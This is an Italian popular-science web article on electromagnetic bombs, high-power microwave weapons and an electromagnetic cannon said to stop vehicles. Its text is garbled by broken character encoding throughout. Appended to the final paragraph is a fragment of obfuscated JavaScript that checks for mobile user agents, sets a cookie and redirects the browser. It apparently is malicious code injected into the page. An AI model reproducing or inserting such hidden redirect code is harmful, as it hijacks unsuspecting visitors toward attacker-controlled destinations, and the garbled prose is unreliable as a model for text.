Bombe Elettromagnetiche
L’analisi dell’esplosione di una bomba atomica ha portato la scienza alla scoperta di un fenomeno imprevisto e dalle conseguenza belliche ancora non sperimentate. Insieme al calore e all’enorme spostamento d’aria, nell’esplosione vengono prodotte radiazioni elettromagnetiche fortissime che interagiscono con le parti elettroniche di veicoli e apparecchiature.
Pochi istanti dopo una detonazione atomica, prima ancora di essere investiti dall’onda d’urto e dal calore, si viene investiti dalle radiazioni: luce visibile, raggi gamma e microonde ad altissima intensitAi?? ecc. Ogni apparecchiatura elettronica cesserAi?? immediatamente di funzionare e a secondo della distanza, questo “blackout” totale potrAi?? essere temporaneo o definitivo (rottura irreversibile delle apparecchiature). Auto, aerei, treni, elicotteri, radio, telefonini, luci, tutto viene interrotto dall’onda d’urto elettromagnetica.
Tuttavia la vera importanza bellica di questo fenomeno non A? collegata all’uso di armi atomiche ed A? sopraggiunta solo di recente, con la costruzione di bombe elettromagnetiche. Queste armi non producono nAi?? morti, nAi?? feriti (almeno direttamente). In compenso distruggono (bloccano) tutti i mezzi in mano all’avversario, mettono in ginocchio le sue comunicazioni e ne annientano i sistemi di difesa (radar, contraeree, ecc.). Questo tipo di bombe (HPM) emettono brevi fasci di microonde ad altissima intensitAi?? che raggiungono anche i 10Gw di potenza. Il raggio di efficacia A? limitato a qualche centinaio di metri.
A causa di queste armi oggi vengono studiate e realizzate schermature contro radiazioni sempre piA? efficienti. Pensate, ad esempio, che il piA? potente caccia dell’aviazione Usa (l’F22) monta tutt’ora un processore piA? lento di quelli che abbiamo nei nostri computer, perA? schermato cosAi?? bene che nemmeno una bomba atomica potrebbe interferire col suo funzionamento.
Cannoni Elettromagnetici
Di recente A? stata svelata dai servizi segreti italiani l’esistenza di un cannone elettromagnetico in grado di bloccare i motori (o meglio la parte elettronica) dei veicoli a distanza. Quest’arma lascia immaginare un futuro bellico che si allontana sempre piA? dal passato, basato su armi sempre meno distruttive ma al contempo sempre piA? potenti, selettive, precise ed efficaci. )|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}